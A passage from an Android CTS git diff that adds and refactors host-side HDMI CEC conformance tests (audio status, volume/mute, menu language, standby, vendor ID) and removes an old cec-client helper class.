+ new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this, "-t", "a");
+
+ /**
+ * Test 11.2.15-10
+ * Tests that the device sends a <GIVE_SYSTEM_AUDIO_STATUS> message when brought out of standby
+ */
+ @Test
+ public void cect_11_2_15_10_GiveSystemAudioModeStatus() throws Exception {
+ ITestDevice device = getDevice();
+ device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+ device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM,
+ CecMessage.GIVE_SYSTEM_AUDIO_MODE_STATUS);
+ }
+
+ /**
+ * Test 11.2.15-11
+ * Tests that the device sends <USER_CONTROL_PRESSED> and <USER_CONTROL_RELEASED> messages when
+ * the volume up and down keys are pressed on the DUT. Test also verifies that the
+ * <USER_CONTROL_PRESSED> message has the right control param.
+ */
+ @Test
+ public void cect_11_2_15_11_VolumeUpDownUserControlPressed() throws Exception {
+ ITestDevice device = getDevice();
+ device.executeShellCommand("input keyevent KEYCODE_VOLUME_UP");
+ String message = hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM,
+ CecMessage.USER_CONTROL_PRESSED);
+ assertEquals(HdmiCecConstants.CEC_CONTROL_VOLUME_UP,
+ hdmiCecClient.getParamsFromMessage(message));
+ hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM, CecMessage.USER_CONTROL_RELEASED);
+
+
+ device.executeShellCommand("input keyevent KEYCODE_VOLUME_DOWN");
+ message = hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM,
+ CecMessage.USER_CONTROL_PRESSED);
+ assertEquals(HdmiCecConstants.CEC_CONTROL_VOLUME_DOWN,
+ hdmiCecClient.getParamsFromMessage(message));
+ hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM, CecMessage.USER_CONTROL_RELEASED);
+ }
+
+ /**
+ * Test 11.2.15-12
+ * Tests that the device sends <USER_CONTROL_PRESSED> and <USER_CONTROL_RELEASED> messages when
+ * the mute key is pressed on the DUT. Test also verifies that the <USER_CONTROL_PRESSED>
+ * message has the right control param.
+ */
+ @Test
+ public void cect_11_2_15_12_MuteUserControlPressed() throws Exception {
+ ITestDevice device = getDevice();
+ device.executeShellCommand("input keyevent KEYCODE_MUTE");
+ String message = hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM,
+ CecMessage.USER_CONTROL_PRESSED);
+ assertEquals(HdmiCecConstants.CEC_CONTROL_MUTE,
+ hdmiCecClient.getParamsFromMessage(message));
+ hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM, CecMessage.USER_CONTROL_RELEASED);
+ }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemInformationTest.java
index aff06c5..8bd7262 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemInformationTest.java
@@ -17,39 +17,28 @@
package android.hdmicec.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
import static org.junit.Assume.assumeTrue;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import org.junit.Before;
+import org.junit.Rule;
import org.junit.runner.RunWith;
import org.junit.Test;
/** HDMI CEC system information tests (Section 11.2.6) */
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecSystemInformationTest implements IDeviceTest {
+public final class HdmiCecSystemInformationTest extends BaseHostJUnit4Test {
/** The version number 0x05 refers to CEC v1.4 */
private static final int CEC_VERSION_NUMBER = 0x05;
- private ITestDevice mDevice;
+ private static final String PROPERTY_LOCALE = "persist.sys.locale";
- @Override
- public void setDevice(ITestDevice device) {
- mDevice = device;
- }
- @Override
- public ITestDevice getDevice() {
- return mDevice;
- }
-
- @Before public void testHdmiCecAvailability() throws Exception {
- assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
- }
+ @Rule
+ public HdmiCecClientWrapper hdmiCecClient =
+ new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
/**
* Test 11.2.6-1
@@ -58,19 +47,10 @@
@Test
public void cect_11_2_6_1_Ack() throws Exception {
String command = CecClientMessage.POLL + " " + CecDevice.PLAYBACK_1;
- String expectedOutput = "Playback 1 (" + CecDevice.PLAYBACK_1 + "): device " +
- "status changed into 'present'";
-
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
- try {
- hdmiCecUtils.init();
- hdmiCecUtils.sendConsoleMessage(command);
- if (!hdmiCecUtils.checkConsoleOutput(expectedOutput)) {
- throw new Exception("Could not find " + expectedOutput);
- }
- } finally {
- hdmiCecUtils.killCecProcess();
+ String expectedOutput = "POLL sent";
+ hdmiCecClient.sendConsoleMessage(command);
+ if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
+ throw new Exception("Could not find " + expectedOutput);
}
}
@@ -81,20 +61,13 @@
*/
@Test
public void cect_11_2_6_2_GivePhysicalAddress() throws Exception {
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
- try {
- hdmiCecUtils.init();
- hdmiCecUtils.sendCecMessage(CecMessage.GIVE_PHYSICAL_ADDRESS);
- String message = hdmiCecUtils.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
- /* The checkExpectedOutput has already verified the first 4 nibbles of the message. We
- * have to verify the last 6 nibbles */
- int receivedParams = hdmiCecUtils.getParamsFromMessage(message);
- assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS, receivedParams >> 8);
- assertEquals(HdmiCecConstants.PLAYBACK_DEVICE_TYPE, receivedParams & 0xFF);
- } finally {
- hdmiCecUtils.killCecProcess();
- }
+ hdmiCecClient.sendCecMessage(CecMessage.GIVE_PHYSICAL_ADDRESS);
+ String message = hdmiCecClient.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
+ /* The checkExpectedOutput has already verified the first 4 nibbles of the message. We
+ * have to verify the last 6 nibbles */
+ int receivedParams = hdmiCecClient.getParamsFromMessage(message);
+ assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS, receivedParams >> 8);
+ assertEquals(HdmiCecConstants.PLAYBACK_DEVICE_TYPE, receivedParams & 0xFF);
}
/**
@@ -103,18 +76,11 @@
*/
@Test
public void cect_11_2_6_6_GiveCecVersion() throws Exception {
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
+ hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GET_CEC_VERSION);
+ String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV,
+ CecMessage.CEC_VERSION);
- try {
- hdmiCecUtils.init();
- hdmiCecUtils.sendCecMessage(CecDevice.TV, CecMessage.GET_CEC_VERSION);
- String message = hdmiCecUtils.checkExpectedOutput(CecDevice.TV,
- CecMessage.CEC_VERSION);
-
- assertEquals(CEC_VERSION_NUMBER, hdmiCecUtils.getParamsFromMessage(message));
- } finally {
- hdmiCecUtils.killCecProcess();
- }
+ assertEquals(CEC_VERSION_NUMBER, hdmiCecClient.getParamsFromMessage(message));
}
/**
@@ -123,19 +89,88 @@
*/
@Test
public void cect_11_2_6_7_GetMenuLanguage() throws Exception {
- HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
- try {
- hdmiCecUtils.init();
- hdmiCecUtils.sendCecMessage(CecDevice.TV, CecMessage.GET_MENU_LANGUAGE);
- String message = hdmiCecUtils.checkExpectedOutput(CecDevice.TV,
- CecMessage.FEATURE_ABORT);
- int abortedOpcode = hdmiCecUtils.getParamsFromMessage(message,
+ hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GET_MENU_LANGUAGE);
+ String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV, CecMessage.FEATURE_ABORT);
+ int abortedOpcode = hdmiCecClient.getParamsFromMessage(message,
CecMessage.GET_MENU_LANGUAGE.toString().length());
- assertEquals(CecMessage.getMessage(abortedOpcode), CecMessage.GET_MENU_LANGUAGE);
+ assertEquals(CecMessage.getMessage(abortedOpcode), CecMessage.GET_MENU_LANGUAGE);
+ }
+
+ private String getSystemLocale() throws Exception {
+ ITestDevice device = getDevice();
+ return device.executeShellCommand("getprop " + PROPERTY_LOCALE).trim();
+ }
+
+ private void setSystemLocale(String locale) throws Exception {
+ ITestDevice device = getDevice();
+ device.executeShellCommand("setprop " + PROPERTY_LOCALE + " " + locale);
+ }
+
+ private boolean isLanguageEditable() throws Exception {
+ String val = getDevice().executeShellCommand("getprop ro.hdmi.set_menu_language");
+ return val.trim().equals("true") ? true : false;
+ }
+
+ private static String extractLanguage(String locale) {
+ return locale.split("[^a-zA-Z]")[0];
+ }
+
+ /**
+ * Test 11.2.6-3
+ * Tests that the device handles a <SET_MENU_LANGUAGE> with a valid language correctly.
+ */
+ @Test
+ public void cect_11_2_6_3_SetValidMenuLanguage() throws Exception {
+ assumeTrue(isLanguageEditable());
+ final String locale = getSystemLocale();
+ final String originalLanguage = extractLanguage(locale);
+ final String language = originalLanguage.equals("spa") ? "eng" : "spa";
+ final String newLanguage = originalLanguage.equals("spa") ? "en" : "es";
+ try {
+ hdmiCecClient.sendCecMessage(CecDevice.TV, CecDevice.BROADCAST,
+ CecMessage.SET_MENU_LANGUAGE, hdmiCecClient.convertStringToHexParams(language));
+ assertEquals(newLanguage, extractLanguage(getSystemLocale()));
} finally {
- hdmiCecUtils.killCecProcess();
+ setSystemLocale(locale);
}
}
+ /**
+ * Test 11.2.6-4
+ * Tests that the device ignores a <SET_MENU_LANGUAGE> with an invalid language.
+ */
+ @Test
+ public void cect_11_2_6_4_SetInvalidMenuLanguage() throws Exception {
+ assumeTrue(isLanguageEditable());
+ final String locale = getSystemLocale();
+ final String originalLanguage = extractLanguage(locale);
+ final String language = "spb";
+ try {
+ hdmiCecClient.sendCecMessage(CecDevice.TV, CecDevice.BROADCAST,
+ CecMessage.SET_MENU_LANGUAGE, hdmiCecClient.convertStringToHexParams(language));
+ assertEquals(originalLanguage, extractLanguage(getSystemLocale()));
+ } finally {
+ setSystemLocale(locale);
+ }
+ }
+
+ /**
+ * Test 11.2.6-5
+ * Tests that the device ignores a <SET_MENU_LANGUAGE> with a valid language that comes from a
+ * source device which is not TV.
+ */
+ @Test
+ public void cect_11_2_6_5_SetValidMenuLanguageFromInvalidSource() throws Exception {
+ assumeTrue(isLanguageEditable());
+ final String locale = getSystemLocale();
+ final String originalLanguage = extractLanguage(locale);
+ final String language = originalLanguage.equals("spa") ? "eng" : "spa";
+ try {
+ hdmiCecClient.sendCecMessage(CecDevice.RECORDING_1, CecDevice.BROADCAST,
+ CecMessage.SET_MENU_LANGUAGE, hdmiCecClient.convertStringToHexParams(language));
+ assertEquals(originalLanguage, extractLanguage(getSystemLocale()));
+ } finally {
+ setSystemLocale(locale);
+ }
+ }
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemStandbyTest.java
new file mode 100644
index 0000000..787ea24
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemStandbyTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.TestDeviceState;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Rule;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.concurrent.TimeUnit;
+
+/** HDMI CEC test to verify the device handles standby correctly (Section 11.2.3) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecSystemStandbyTest extends BaseHostJUnit4Test {
+ private static final CecDevice PLAYBACK_DEVICE = CecDevice.PLAYBACK_1;
+
+ private static final String HDMI_CONTROL_DEVICE_AUTO_OFF =
+ "hdmi_control_auto_device_off_enabled";
+
+ @Rule
+ public HdmiCecClientWrapper hdmiCecClient =
+ new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
+
+ private boolean setHdmiControlDeviceAutoOff(boolean turnOn) throws Exception {
+ ITestDevice device = getDevice();
+ String val = device.executeShellCommand("settings get global " +
+ HDMI_CONTROL_DEVICE_AUTO_OFF).trim();
+ String valToSet = turnOn ? "1" : "0";
+ device.executeShellCommand("settings put global "
+ + HDMI_CONTROL_DEVICE_AUTO_OFF + " " + valToSet);
+ device.executeShellCommand("settings get global " + HDMI_CONTROL_DEVICE_AUTO_OFF).trim();
+ return val.equals("1") ? true : false;
+ }
+
+ private void checkDeviceAsleepAfterStandbySent(CecDevice source, CecDevice destination)
+ throws Exception {
+ ITestDevice device = getDevice();
+ try {
+ device.executeShellCommand("input keyevent KEYCODE_HOME");
+ TimeUnit.SECONDS.sleep(5);
+ hdmiCecClient.sendCecMessage(source, destination, CecMessage.STANDBY);
+ TimeUnit.SECONDS.sleep(5);
+ String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+ assertEquals("mWakefulness=Asleep", wakeState.trim());
+ } finally {
+ /* Wake up the device */
+ device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ }
+ }
+
+ /**
+ * Test 11.2.3-2
+ * Tests that the device goes into standby when a <STANDBY> message is broadcast.
+ */
+ @Test
+ public void cect_11_2_3_2_HandleBroadcastStandby() throws Exception {
+ getDevice().executeShellCommand("reboot");
+ getDevice().waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ try {
+ TimeUnit.SECONDS.sleep(5);
+ checkDeviceAsleepAfterStandbySent(CecDevice.TV, CecDevice.BROADCAST);
+ /* Wake up the TV */
+ hdmiCecClient.sendConsoleMessage("on " + CecDevice.TV);
+ checkDeviceAsleepAfterStandbySent(CecDevice.RECORDING_1, CecDevice.BROADCAST);
+ /* Wake up the TV */
+ hdmiCecClient.sendConsoleMessage("on " + CecDevice.TV);
+ checkDeviceAsleepAfterStandbySent(CecDevice.AUDIO_SYSTEM, CecDevice.BROADCAST);
+ /* Wake up the TV */
+ hdmiCecClient.sendConsoleMessage("on " + CecDevice.TV);
+ checkDeviceAsleepAfterStandbySent(CecDevice.PLAYBACK_2, CecDevice.BROADCAST);
+ } finally {
+ /* Wake up the TV */
+ hdmiCecClient.sendConsoleMessage("on " + CecDevice.TV);
+ }
+ }
+
+ /**
+ * Test 11.2.3-3
+ * Tests that the device goes into standby when a <STANDBY> message is sent to it.
+ */
+ @Test
+ public void cect_11_2_3_3_HandleAddressedStandby() throws Exception {
+ getDevice().executeShellCommand("reboot");
+ getDevice().waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ checkDeviceAsleepAfterStandbySent(CecDevice.TV, CecDevice.PLAYBACK_1);
+ checkDeviceAsleepAfterStandbySent(CecDevice.RECORDING_1, CecDevice.PLAYBACK_1);
+ checkDeviceAsleepAfterStandbySent(CecDevice.AUDIO_SYSTEM, CecDevice.PLAYBACK_1);
+ checkDeviceAsleepAfterStandbySent(CecDevice.PLAYBACK_2, CecDevice.PLAYBACK_1);
+ checkDeviceAsleepAfterStandbySent(CecDevice.BROADCAST, CecDevice.PLAYBACK_1);
+ }
+
+ /**
+ * Test 11.2.3-4
+ * Tests that the device does not broadcast a <STANDBY> when going into standby mode.
+ */
+ @Test
+ public void cect_11_2_3_4_NoBroadcastStandby() throws Exception {
+ ITestDevice device = getDevice();
+ boolean wasOn = setHdmiControlDeviceAutoOff(false);
+ try {
+ device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+ hdmiCecClient.checkOutputDoesNotContainMessage(CecDevice.BROADCAST, CecMessage.STANDBY);
+ device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ } finally {
+ setHdmiControlDeviceAutoOff(wasOn);
+ }
+ }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecUtils.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecUtils.java
deleted file mode 100644
index b2a37eb..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecUtils.java
+++ /dev/null
@@ -1,328 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.util.RunUtil;
-
-import java.io.BufferedReader;
-import java.io.BufferedWriter;
-import java.io.InputStreamReader;
-import java.io.OutputStreamWriter;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/** Class that helps communicate with the cec-client */
-public final class HdmiCecUtils {
-
- private static final String CEC_CONSOLE_READY = "waiting for input";
- private static final int MILLISECONDS_TO_READY = 5000;
- private static final int DEFAULT_TIMEOUT = 20000;
- private static final String HDMI_CEC_FEATURE = "feature:android.hardware.hdmi.cec";
- private static final int HEXADECIMAL_RADIX = 16;
-
- private Process mCecClient;
- private BufferedWriter mOutputConsole;
- private BufferedReader mInputConsole;
- private boolean mCecClientInitialised = false;
-
- private CecDevice targetDevice;
- private String physicalAddress;
-
- public HdmiCecUtils(CecDevice targetDevice, String physicalAddress) {
- this.targetDevice = targetDevice;
- this.physicalAddress = physicalAddress;
- }
-
- /**
- * Checks if the HDMI CEC feature is running on the device. Call this function before running
- * any HDMI CEC tests.
- * This could throw a DeviceNotAvailableException.
- */
- public static boolean isHdmiCecFeatureSupported(ITestDevice device) throws Exception {
- return device.hasFeature(HDMI_CEC_FEATURE);
- }
-
- /** Initialise the client */
- public void init() throws Exception {
- boolean gotExpectedOut = false;
- List<String> commands = new ArrayList();
- int seconds = 0;
-
- commands.add("cec-client");
- commands.add("-p");
- commands.add("2");
- mCecClient = RunUtil.getDefault().runCmdInBackground(commands);
- mInputConsole = new BufferedReader(new InputStreamReader(mCecClient.getInputStream()));
-
- /* Wait for the client to become ready */
- mCecClientInitialised = true;
- if (checkConsoleOutput(CecClientMessage.CLIENT_CONSOLE_READY + "", MILLISECONDS_TO_READY)) {
- mOutputConsole = new BufferedWriter(
- new OutputStreamWriter(mCecClient.getOutputStream()));
- return;
- }
-
- mCecClientInitialised = false;
-
- throw (new Exception("Could not initialise cec-client process"));
- }
-
- private void checkCecClient() throws Exception {
- if (!mCecClientInitialised) {
- throw new Exception("cec-client not initialised!");
- }
- if (!mCecClient.isAlive()) {
- throw new Exception("cec-client not running!");
- }
- }
-
- /**
- * Sends a CEC message with source marked as broadcast to the device passed in the constructor
- * through the output console of the cec-communication channel.
- */
- public void sendCecMessage(CecMessage message) throws Exception {
- sendCecMessage(CecDevice.BROADCAST, targetDevice, message, "");
- }
-
- /**
- * Sends a CEC message from source device to the device passed in the constructor through the
- * output console of the cec-communication channel.
- */
- public void sendCecMessage(CecDevice source, CecMessage message) throws Exception {
- sendCecMessage(source, targetDevice, message, "");
- }
-
- /**
- * Sends a CEC message from source device to a destination device through the output console of
- * the cec-communication channel.
- */
- public void sendCecMessage(CecDevice source, CecDevice destination,
- CecMessage message) throws Exception {
- sendCecMessage(source, destination, message, "");
- }
-
- /**
- * Sends a CEC message from source device to a destination device through the output console of
- * the cec-communication channel with the appended params.
- */
- public void sendCecMessage(CecDevice source, CecDevice destination,
- CecMessage message, String params) throws Exception {
- checkCecClient();
- mOutputConsole.write("tx " + source + destination + ":" + message + params);
- mOutputConsole.flush();
- }
-
- /** Sends a message to the output console of the cec-client */
- public void sendConsoleMessage(String message) throws Exception {
- checkCecClient();
- CLog.v("Sending message:: " + message);
- mOutputConsole.write(message);
- mOutputConsole.flush();
- }
-
- /** Check for any string on the input console of the cec-client, uses default timeout */
- public boolean checkConsoleOutput(String expectedMessage) throws Exception {
- return checkConsoleOutput(expectedMessage, DEFAULT_TIMEOUT);
- }
-
- /** Check for any string on the input console of the cec-client */
- public boolean checkConsoleOutput(String expectedMessage,
- long timeoutMillis) throws Exception {
- checkCecClient();
- long startTime = System.currentTimeMillis();
- long endTime = startTime;
-
- while ((endTime - startTime <= timeoutMillis)) {
- if (mInputConsole.ready()) {
- String line = mInputConsole.readLine();
- if (line.contains(expectedMessage)) {
- CLog.v("Found " + expectedMessage + " in " + line);
- return true;
- }
- }
- endTime = System.currentTimeMillis();
- }
- return false;
- }
-
- /**
- * Looks for the CEC expectedMessage broadcast on the cec-client communication channel and
- * returns the first line that contains that message within default timeout. If the CEC message
- * is not found within the timeout, an exception is thrown.
- */
- public String checkExpectedOutput(CecMessage expectedMessage) throws Exception {
- return checkExpectedOutput(CecDevice.BROADCAST, expectedMessage, DEFAULT_TIMEOUT);
- }
-
- /**
- * Looks for the CEC expectedMessage sent to CEC device toDevice on the cec-client
- * communication channel and returns the first line that contains that message within
- * default timeout. If the CEC message is not found within the timeout, an exception is thrown.
- */
- public String checkExpectedOutput(CecDevice toDevice,
- CecMessage expectedMessage) throws Exception {
- return checkExpectedOutput(toDevice, expectedMessage, DEFAULT_TIMEOUT);
- }
-
- /**
- * Looks for the CEC expectedMessage broadcast on the cec-client communication channel and
- * returns the first line that contains that message within timeoutMillis. If the CEC message
- * is not found within the timeout, an exception is thrown.
- */
- public String checkExpectedOutput(CecMessage expectedMessage,
- long timeoutMillis) throws Exception {
- return checkExpectedOutput(CecDevice.BROADCAST, expectedMessage, timeoutMillis);
- }
-
- /**
- * Looks for the CEC expectedMessage sent to CEC device toDevice on the cec-client
- * communication channel and returns the first line that contains that message within
- * timeoutMillis. If the CEC message is not found within the timeout, an exception is thrown.
- */
- public String checkExpectedOutput(CecDevice toDevice, CecMessage expectedMessage,
- long timeoutMillis) throws Exception {
- checkCecClient();
- long startTime = System.currentTimeMillis();
- long endTime = startTime;
- Pattern pattern = Pattern.compile("(.*>>)(.*?)" +
- "(" + targetDevice + toDevice + "):" +
- "(" + expectedMessage + ")(.*)",
- Pattern.CASE_INSENSITIVE);
-
- while ((endTime - startTime <= timeoutMillis)) {
- if (mInputConsole.ready()) {
- String line = mInputConsole.readLine();
- if (pattern.matcher(line).matches()) {
- CLog.v("Found " + expectedMessage.name() + " in " + line);
- return line;
- }
- }
- endTime = System.currentTimeMillis();
- }
- throw new Exception("Could not find message " + expectedMessage.name());
- }
-
- /** Gets the hexadecimal ASCII character values of a string. */
- public String getHexAsciiString(String string) {
- String asciiString = "";
- byte[] ascii = string.trim().getBytes();
-
- for (byte b : ascii) {
- asciiString.concat(Integer.toHexString(b));
- }
-
- return asciiString;
- }
-
- /** Prepares a CEC message. */
- public String prepareMessage(CecDevice source, CecDevice destination, CecMessage message,
- int params) {
- String cecMessage = "" + source + destination + ":" + message;
-
- String paramsString = Integer.toHexString(params);
- int position = 0;
- int endPosition = 2;
-
- do {
- cecMessage.concat(":" + paramsString.substring(position, endPosition));
- position = endPosition;
- endPosition += 2;
- } while (endPosition <= paramsString.length());
-
- return cecMessage;
- }
-
- /**
- * Gets the params from a CEC message.
- */
- public int getParamsFromMessage(String message) {
- return Integer.parseInt(getNibbles(message).substring(4), HEXADECIMAL_RADIX);
- }
-
- /**
- * Gets the first 'numNibbles' number of param nibbles from a CEC message.
- */
- public int getParamsFromMessage(String message, int numNibbles) {
- int paramStart = 4;
- int end = numNibbles + paramStart;
- return Integer.parseInt(getNibbles(message).substring(paramStart, end), HEXADECIMAL_RADIX);
- }
-
- /**
- * From the params of a CEC message, gets the nibbles from position start to position end.
- * The start and end are relative to the beginning of the params. For example, in the following
- * message - 4F:82:10:00:04, getParamsFromMessage(message, 0, 4) will return 0x1000 and
- * getParamsFromMessage(message, 4, 6) will return 0x04.
- */
- public int getParamsFromMessage(String message, int start, int end) {
- return Integer.parseInt(getNibbles(message).substring(4).substring(start, end), HEXADECIMAL_RADIX);
- }
-
- /**
- * Gets the source logical address from a CEC message.
- */
- public CecDevice getSourceFromMessage(String message) {
- String param = getNibbles(message).substring(0, 1);
- return CecDevice.getDevice(Integer.parseInt(param, HEXADECIMAL_RADIX));
- }
-
-
- /**
- * Gets the destination logical address from a CEC message.
- */
- public CecDevice getDestinationFromMessage(String message) {
- String param = getNibbles(message).substring(1, 2);
- return CecDevice.getDevice(Integer.parseInt(param, HEXADECIMAL_RADIX));
- }
-
- private String getNibbles(String message) {
- final String tag1 = "group1";
- final String tag2 = "group2";
- String paramsPattern = "(?:.*[>>|<<].*?)" +
- "(?<" + tag1 + ">[\\p{XDigit}{2}:]+)" +
- "(?<" + tag2 + ">\\p{XDigit}{2})" +
- "(?:.*?)";
- String nibbles = "";
-
- Pattern p = Pattern.compile(paramsPattern);
- Matcher m = p.matcher(message);
- if (m.matches()) {
- nibbles = m.group(tag1).replace(":", "") + m.group(tag2);
- }
- return nibbles;
- }
-
- /**
- * Kills the cec-client process that was created in init().
- */
- public void killCecProcess() {
- try {
- checkCecClient();
- sendConsoleMessage(CecClientMessage.QUIT_CLIENT.toString());
- mOutputConsole.close();
- mInputConsole.close();
- mCecClientInitialised = false;
- } catch (Exception e) {
- /* If cec-client is not running, do not throw an exception, just return. */
- return;
- }
- }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecVendorCommandsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecVendorCommandsTest.java
new file mode 100644
index 0000000..d4111d4
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecVendorCommandsTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import static org.junit.Assert.assertNotEquals;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Rule;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+/** HDMI CEC test to verify device vendor specific commands (Section 11.2.9) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecVendorCommandsTest extends BaseHostJUnit4Test {
+ private static final CecDevice PLAYBACK_DEVICE = CecDevice.PLAYBACK_1;
+ private static final int INCORRECT_VENDOR_ID = 0x0;
+
+ @Rule
+ public HdmiCecClientWrapper hdmiCecClient =
+ new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
+
+ /**
+ * Test 11.2.9-1
+ * Tests that the device responds to a <GIVE_DEVICE_VENDOR_ID> from various source devices
+ * with a <DEVICE_VENDOR_ID>.
+ */
+ @Test
+ public void cect_11_2_9_1_GiveDeviceVendorId() throws Exception {
+ for (CecDevice cecDevice : CecDevice.values()) {
+ hdmiCecClient.sendCecMessage(cecDevice, CecMessage.GIVE_DEVICE_VENDOR_ID);
+ String message = hdmiCecClient.checkExpectedOutput(CecMessage.DEVICE_VENDOR_ID);
+ assertNotEquals(INCORRECT_VENDOR_ID, hdmiCecClient.getParamsFromMessage(message));
+ }
+ }
+
+ /**
+ * Test 11.2.9-2
+ * Tests that the device broadcasts a <DEVICE_VENDOR_ID> message after successful
+ * initialisation and address allocation.
+ */
+ @Test
+ public void cect_11_2_9_2_DeviceVendorIdOnInit() throws Exception {
+ ITestDevice device = getDevice();
+ device.executeShellCommand("reboot");
+ device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ String message = hdmiCecClient.checkExpectedOutput(CecMessage.DEVICE_VENDOR_ID);
+ assertNotEquals(INCORRECT_VENDOR_ID, hdmiCecClient.getParamsFromMessage(message));
+ }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
index 38fbf56..a5a220c 100644
